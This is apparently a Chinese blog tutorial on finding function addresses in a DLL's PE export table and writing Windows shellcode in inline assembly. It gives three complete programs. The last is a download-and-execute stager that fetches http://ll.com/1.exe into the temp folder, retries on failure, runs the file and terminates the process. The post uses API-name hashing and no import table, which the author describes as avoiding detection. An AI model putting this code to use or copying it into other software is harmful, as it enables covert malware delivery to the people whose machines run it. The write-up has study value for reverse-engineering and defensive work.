理解PE格式—找出导出表(Export Table)中的函数地址(ShellCode篇)

本文接上一篇:

看完理论,接着要来写代码实践一下。
要实现的功能是通过Inline Assembly 打开 C:\1.exe
先要获取kernel32.dll在内存中的基址,因为kernel32中有我需要的函数,有两种方法。

https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html

第一种方法(https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html):

	xor esi, esi			; esi = 0
    	mov ebx, [fs:0x30 + esi]  	; written this way to avoid null bytes
	mov ebx, [ebx + 0x0C] 
	mov ebx, [ebx + 0x14] 
	mov ebx, [ebx]	
	mov ebx, [ebx]	
	mov ebx, [ebx + 0x10]		; ebx holds kernel32.dll base address 76830000
	mov [ebp-8], ebx 		; var8 = kernel32.dll base address

第二种方法(加密解密里的方法):

	xor		ecx, ecx
	mov		ecx, dword ptr fs:[0x30]
	mov		ecx, dword ptr [ecx+0x0C]
	mov		esi, dword ptr [ecx+0x1C]
sc_goonKernel:  
	mov		eax, dword ptr [esi+8] 
	mov		ebx, dword ptr [esi+0x20]            
	mov		esi, dword ptr [esi]
	cmp		dword ptr [ebx+0x0C], 0x320033 ;判断名称中字符32的unicode
	jnz		sc_goonKernel
	mov		ebx, eax  ;获取kernel32地址

本文采用第一种方法。

基础版ShellCode:

#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>

/*
 ref: https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html 
*/
int main(int argc, char* argv[])
{
    std::cout << "Let's start" << std::endl;
    DWORD kernel32Adrress,scStart,scEnd,WinExecAddress;
    int numberOfFunction ;
    __asm__
    (
        ".intel_syntax\n\t"
    "start: \n\t"       

        "push ebp \n\t"
        "mov ebp, esp \n\t"

        "sub    ebp,0x18 \n\t" // Allocate memory on stack for local variables

        "push   0x00636578 \n\t" // 把"C:\1.exe"作为变量推到栈里, 1.exe是要打开的程序
        "push   0x456e6957 \n\t"    //  0x00 作为变量的结束符
        "mov    [ebp-4], esp \n\t"  // var4 = "WinExec\x00"

        "xor esi, esi \n\t"
        "mov ebx, [fs:0x30 + esi] \n\t"
        "mov ebx, [ebx + 0x0C] \n\t"
        "mov ebx, [ebx + 0x14] \n\t"
        "mov ebx, [ebx] \n\t"
        "mov ebx, [ebx] \n\t"
        "mov ebx, [ebx + 0x10] \n\t"

        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table
        
        "mov ecx, [eax + 0x24] \n\t" // RVA of Ordinal Table
        "add ecx, ebx \n\t" // Address of Ordinal Table
        "mov [ebp-0x0C], ecx \n\t" // var_0C = Address of Ordinal Table

        "mov edi, [eax + 0x20] \n\t"    // RVA of Name Pointer Table
        "add edi, ebx \n\t"     // Address of Name Pointer Table
        "mov [ebp-0x10], edi \n\t"   // var_10 = Address of Name Pointer Table

        "mov edx, [eax + 0x1C] \n\t"    // RVA of Address Table
        "add edx, ebx \n\t"     // Address of Address Table
        "mov [ebp-0x14], edx \n\t" //    var_14 = Address of Address Table
        
        "mov edx, [eax + 0x14] \n\t"    // Number of exported functions

        "xor    eax,eax \n\t"   // function name address index

    "loop: \n\t"
        "mov    edi, [ebp-0x10] \n\t"   // var_10 = Address of Name Pointer Table
        "mov    esi, [ebp-4] \n\t"  // var4 = "WinExec\x00"
        "xor    ecx, ecx \n\t"  // function name char index

        "cld \n\t"  //  Clear direction flag,set DF=0 => process strings from left to right.    
        "mov    edi,[edi + eax*4] \n\t"  // next function name RVA 
 
        "add    edi, ebx \n\t"
        "add    cx,8 \n\t"
        "repe   cmpsb \n\t" // Compare the first 8 bytes of strings in 
                        // esi and edi registers. ZF=1 if equal, ZF=0 if not
        "jz found \n\t"
        "inc    eax \n\t"
        "cmp    eax,edx \n\t"   //check if last function is reached
        "jb     loop  \n\t"   // if not the last -> loop
        "add    esp,0x26 \n\t"
        "jmp    end \n\t"

    "found: \n\t"
        "mov    ecx, [ebp-0x0C] \n\t" // var_0C = Address of Ordinal Table
        "mov    edx, [ebp-0x14]\n\t"  // var_14 = Address of Address Table

        "mov    ax, [ecx + eax*2] \n\t" // ax = ordinal number = var_0C + (counter * 2)
        "mov    eax, [edx + eax*4] \n\t"    //  eax = RVA of function = var_14 + (ordinal * 4)
        "mov    %0, eax \n\t"
        "add    eax,ebx \n\t"  //  eax = address of WinExec  = kernel32.dll base address + RVA of WinExec
        

        "xor    edx,edx \n\t"
        "push   edx \n\t"   // null termination
        "push   0x6578652e \n\t"
        "push   0x315c3a43 \n\t"
        "mov    esi,esp \n\t"

        "push   10 \n\t"
        "push   esi \n\t"
        "call   eax \n\t"
        
        "add    esp, 0x46 \n\t"
        
    "end: \n\t"

        :"=r" (WinExecAddress)
        :"r" (WinExecAddress)
        :    
    );
    std::cout << "The WinExec Address is:";
    printf("%llx",WinExecAddress);
    std::cout << std::endl;

}

程序就是找到kernel32.dll 然后找到导出表,遍历找到Function name Table 中WinExec的位置,
通过这个位置找到Ordinal Table中指定的index,通过这个index在 Address Table找到 WinExec的地址,然后传参,call这个地址。


进阶版ShellCode:

#include <stdio.h>
#include <windows.h>
#include <string>
#include <iostream>

int main(int argc, char* argv[])
{
    std::cout << "Let's start" << std::endl;
    DWORD WinExecAddress=0;
    __asm__
    (
        ".intel_syntax\n\t"
    "start:\n\t"      
        "xor    ecx, ecx\n\t" 
        "mov    ebx, fs:[0x30] \n\t"
        "mov    ebx, [ebx + 0x0C] \n\t"
        "mov    ebx, [ebx + 0x14] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx + 0x10] \n\t"

        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table

        "push   eax \n\t" // save 

        "xor    ecx, ecx \n\t"  // ecx: record how far from first function name
        "dec    ecx \n\t" 
        "mov    esi, [eax + 0x20] \n\t"   // RVA of Name Pointer Table
        "add    esi, ebx \n\t"            
        
    "Find_Loop: \n\t"
        
        "inc    ecx \n\t"   
        "lods   dword ptr [esi] \n\t"   // traverse function name
        "add    eax,ebx \n\t"   // + base address. to get function name Address
        "xor    edi, edi \n\t"  // edi: hashed value
    "Hash_Loop: \n\t"
        "movsx  edx, byte ptr [eax] \n\t"
        "cmp    dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
        "je     hash_OK \n\t" // 这个函数名已经读取到最后一位
        "ror    edi, 7 \n\t"
        "add    edi,edx \n\t"   // // hash过的值 存在 edi
        "inc    eax \n\t"
        
        "jmp    Hash_Loop \n\t"
        
    "hash_OK: \n\t"
        "cmp    edi, 0x01a22f51 \n\t" // cmp edi , [ebp-4]
        "jnz    Find_Loop \n\t"
        "pop    esi \n\t"
        "mov    edi, dword ptr [esi+0x24] \n\t"
        "add    edi, ebx \n\t"
        "mov    cx,word ptr [edi+ecx*2] \n\t" // Ordinal Table
        "mov    edi, dword ptr [esi+0x1c]\n\t" //  RVA of Address Table
        "add    edi, ebx \n\t"
        "mov    eax, dword ptr [edi+ecx*4] \n\t" // RVA of function address
        "add    eax, ebx \n\t"
        "mov    %0, eax \n\t"
        
        "xor    edx,edx \n\t"
        "push   edx \n\t"   // null termination
        "push   0x6578652e \n\t"
        "push   0x315c3a43 \n\t"
        "mov    esi,esp \n\t"

        "push   10 \n\t"
        "push   esi \n\t"
        "call   eax \n\t"
        
        "add    esp, 0x46 \n\t"
        
    "end: \n\t"

        : "=r" (WinExecAddress)
        : "r" (WinExecAddress)
        :    
    );
    std::cout << "The WinExec Address is:";
    printf("%lx",WinExecAddress);
    std::cout << std::endl;
}

进阶版ShellCode用了加密解密中的Hash算法找Function Name,防止被检测到。

终极版(加密解密版)

#include <stdio.h>
//#include <windows.h>
//#include <string>
//#include <iostream>

int main(int argc, char* argv[])
{
    //std::cout << "Let's start" << std::endl;
    //DWORD WinExecAddress=0;

    // 1. 找到Kernel32的基址
    // 2. 找到Kernel32.LoadLibrary
    // 3. 加载urlmon.dll
    // 4. 找到urlmon的API
    // 5. 调用函数
    __asm__
    (
        ".intel_syntax\n\t"
        
        // hash value
        "push   0x00657865 \n\t"
        "push   0x2e312f6d \n\t"
        "push   0x6f632e6c \n\t"
        "push   0x6c2f2f3a \n\t"
        "push   0x70747468 \n\t"    // http://ll.com/1.exe  // map hosts: C:\Windows\System32\drivers\etc\hosts
        "push   0x00000000 \n\t"    // Address of Download file path
        "push   0x9aafd680 \n\t" // Urlmon.URLDownloadToFileA
        "push   0x6118f28f \n\t" // Kernel32.TerminateProcess
        "push   0xcb9765a0 \n\t" // Kernel32.Sleep
        "push   0x01a22f51 \n\t" // Kernel32.WinExec
        "push   0x837de239 \n\t" // Kernel32.GetTempPathA
        "push   0x6144aa05 \n\t" // Kernel32.VirtualFree
        "push   0x1ede5967 \n\t" // Kernel32.VirtualAlloc

        "mov    ebp, esp \n\t"

        //  1. 找到Kernel32的基址
    "BaseAddress:\n\t"      
        "xor    ecx, ecx\n\t" 
        "mov    ebx, fs:[0x30] \n\t"
        "mov    ebx, [ebx + 0x0C] \n\t"
        "mov    ebx, [ebx + 0x14] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx] \n\t"
        "mov    ebx, [ebx + 0x10] \n\t" // ebx: Base Address of Kernel32.dll
        "mov    ebp, esp \n\t"
        //"int 3\n\t"
        
        // 2. 找到Kernel32.LoadLibrary
        /*
        // 参数:ebx, .dll Base Address
        // 参数:edi, API的Hash值
        // 参数:ecx, dll中要找的API数量
                
        用ecx 和 loop来控制查找的次数
        Kernel32中需要用到7个API,所以这里ecx赋值7
        */  
        "mov    ebp, esp \n\t" 
        "mov    ecx, 0x07 \n\t"  
        "mov    edi, ebp \n\t"

    "FindApi_loop: \n\t"
        // Find Kernel32API
        "call   FindApi \n\t"
        "loop   FindApi_loop \n\t"
        // LoadLibraryA load urlmon.dll
        // now edi is point to last hashed value
        "push   0x6e6f \n\t"
        "push   0x6d6c7275 \n\t"
        "mov    eax,esp \n\t"
        "push   eax \n\t"
        "call   dword ptr[ebp] \n\t"
        "mov    ebx, eax \n\t" // ebx is image base address of urlmon.dll
        "pop    eax \n\t"
        "pop    eax \n\t"

        "call   FindApi \n\t"

        "nop \n\t"
        "nop \n\t"
        "nop \n\t"

        "jmp    start_use_function \n\t"
        "nop \n\t"

    "FindApi: \n\t"
        "push   ecx \n\t" // ecx等下要被用作遍历function name
        "push   ebp \n\t"

        //"int 3\n\t"
        "mov eax, [ebx + 0x3C] \n\t" // RVA of PE signature
        "add eax, ebx \n\t" // Address of PE signature = base address + RVA of PE signature
        "mov eax, [eax + 0x78] \n\t" //  RVA of Export Table
        "add eax, ebx \n\t" // Address of Export Table

        "push   eax \n\t" // save 

        "xor    ecx, ecx \n\t"  // ecx: record how far from first function name
        "dec    ecx \n\t" 
        "mov    esi, [eax + 0x20] \n\t"   // RVA of Name Pointer Table
        "add    esi, ebx \n\t"            
        
    "Find_Loop: \n\t"
        
        "inc    ecx \n\t"   
        "lods   dword ptr [esi] \n\t"   // traverse function name
        "add    eax,ebx \n\t"   // + base address. to get function name Address
        "xor    ebp, ebp \n\t"  // ebp: hashed value
    "Hash_Loop: \n\t"
        "movsx  edx, byte ptr [eax] \n\t"
        "cmp    dl,dh \n\t" // // 函数名以 00 结束,若取到 00 ,则读完了这个函数名
        "je     hash_OK \n\t" // 这个函数名已经读取到最后一位
        "ror    ebp, 7 \n\t"
        "add    ebp,edx \n\t"   // // hash过的值 存在 ebp
        "inc    eax \n\t"
        
        "jmp    Hash_Loop \n\t"
        
    "hash_OK: \n\t"
        
        "cmp    ebp, dword ptr [edi] \n\t" 
        "jnz    Find_Loop \n\t"
        "pop    esi \n\t"
        "mov    ebp, dword ptr [esi+0x24] \n\t"
        "add    ebp, ebx \n\t"
        //"int 3\n\t"
        "mov    cx,word ptr [ebp+ecx*2] \n\t" // Ordinal Table
        "mov    ebp, dword ptr [esi+0x1c]\n\t" //  RVA of Address Table
        "add    ebp, ebx \n\t"
        "mov    eax, dword ptr [ebp+ecx*4] \n\t" // RVA of function address
        "add    eax, ebx \n\t"
        "stos   dword ptr es:[edi] \n\t" // put eax to edi pointed value,then edi increase 4 bytes . So ebp first 4 bytes saveed first function address
        "pop    ebp \n\t"
        "pop    ecx \n\t"      
        "ret\n\t"
        
    "start_use_function: \n\t"
        /* from now , you can invoke that 8 function through "dword ptr [ebp]"

            dword ptr[ebp+0x0] :   Kernel32.LoadLibraryA
            dword ptr[ebp+0x4] :   Kernel32.VirtualAlloc
            dword ptr[ebp+0x8] :   Kernel32.VirtualFree
            dword ptr[ebp+0xc] :   Kernel32.GetTempPathA
            dword ptr[ebp+0x10] :  Kernel32.WinExec
            dword ptr[ebp+0x14] :  Kernel32.Sleep
            dword ptr[ebp+0x18] :  Kernel32.TerminateProcess
            dword ptr[ebp+0x1c] :  Urlmon.URLDownloadToFileA

         */      
        /*
             Open C:\1.exe
            "push   0x00 \n\t"   // null termination
            "push   0x6578652e \n\t"
            "push   0x315c3a43 \n\t"
            "mov    esi,esp \n\t"

            "push   10 \n\t"
            "push   esi \n\t"
            "call   dword ptr [ebp+0x10] \n\t"
            "pop    eax \n\t"   // 平衡栈
            "pop    eax\n\t"
            "pop    eax\n\t"
            "pop    eax\n\t"
            "pop    eax\n\t"

        */

        /*
            Set Download path
        */
        "push    0x40 \n\t"
        "push    0x1000 \n\t"
        "push    0x100 \n\t"
        "push    0 \n\t"
        "call    dword ptr [ebp+0x4] \n\t"  //  kernel32.VirtualAlloc
        "mov     dword ptr [ebp+0x20], eax \n\t"
        //获取临时文件夹路径
        "push   eax \n\t"
        "push   0x100 \n\t"
        "call   dword ptr [ebp+0x0c] \n\t"  //Kernel32.GetTempPathA
        //设置临时exe文件路径
        //%TEMP%\1.exe
        "mov    ecx, dword ptr[ebp+0x20] \n\t"
        "add    ecx, eax \n\t"
        "mov    dword ptr[ecx], 0x78652e31 \n\t"
        "mov    dword ptr[ecx+0x4], 0x0065 \n\t"
        "mov    dword ptr[ecx+0x8], 0 \n\t"
        /*
            download file
        */
    "try_Download: \n\t"
        "push   0 \n\t"
        "push   0 \n\t"
        "push   dword ptr[ebp+0x20] \n\t"
        "lea    eax, dword ptr[ebp+0x24] \n\t"
        "push   eax \n\t"
        "push   0 \n\t"
        "call   dword ptr[ebp+0x1c] \n\t"   //urlmon.URLDowanloadToFileA
        "test   eax, eax \n\t"
        "jz     Download_OK \n\t"
        "push   30000 \n\t"
        "call   dword ptr[ebp+0x14] \n\t"   //Kernel32.Sleep
        "jmp    try_Download \n\t"
        
    "Download_OK: \n\t"
        "push   0 \n\t"
        "push   dword ptr[ebp+0x20] \n\t"
        "call   dword ptr[ebp+0x10] \n\t"    //Kernel32.WinExec

        "push    0x08000 \n\t"
        "push    0x00 \n\t"
        "push    dword ptr [ebp+0x20] \n\t"
        "call    dword ptr [ebp+0x08] \n\t" //kernel32.VirtualFree

        //"mov    %0, eax \n\t"   // test code

        "push   0 \n\t"
        "push   0x0FFFFFFFF \n\t"
        "call   dword ptr[ebp+0x18] \n\t"

        /*
        : "=r" (WinExecAddress)
        : "r" (WinExecAddress)
        :   
        */ 
    );
    // if 1.exe was success download and excute, this will not run:
    /*
    std::cout << "The WinExec Address is:";
    printf("%lx",WinExecAddress);
    std::cout << std::endl;
    */
}

程序的功能是从http://ll.com/1.exe下载并执行。ll.com可以在etc\hosts里做映射。

只是核心代码的思路和加密解密一样,区别是我把数据直接在汇编代码里push了。
先获取7个Kernel32的函数地址,再获取Urlmon的函数地址,放到栈里,最后通过ebp调用所需要的函数。

编译(MinGW):

g++.exe .\shellcode.cpp -o shellcode -masm=intel  -static-libgcc -static-libstdc++

关于这里的Hash算法可以参考这篇:

用PEstudio查看终极版编译出的程序,可以看到Import table里没有记录相关的函数。

从而更加隐蔽。

这里插一句,前一阵子听到某个同事说了一句话“MD5加密算法”,这里要说明一下MD5,MD4,SHA256都属于Hash算法,Hash算法是用来做快速查询的,由于算法的特性,几乎不可逆,所以不能说是加密算法。
吐槽一下,加密解密真的是不舍得在代码里写备注,看的累死人了。真不适合新手看。

Leave a Reply

Your email address will not be published. Required fields are marked *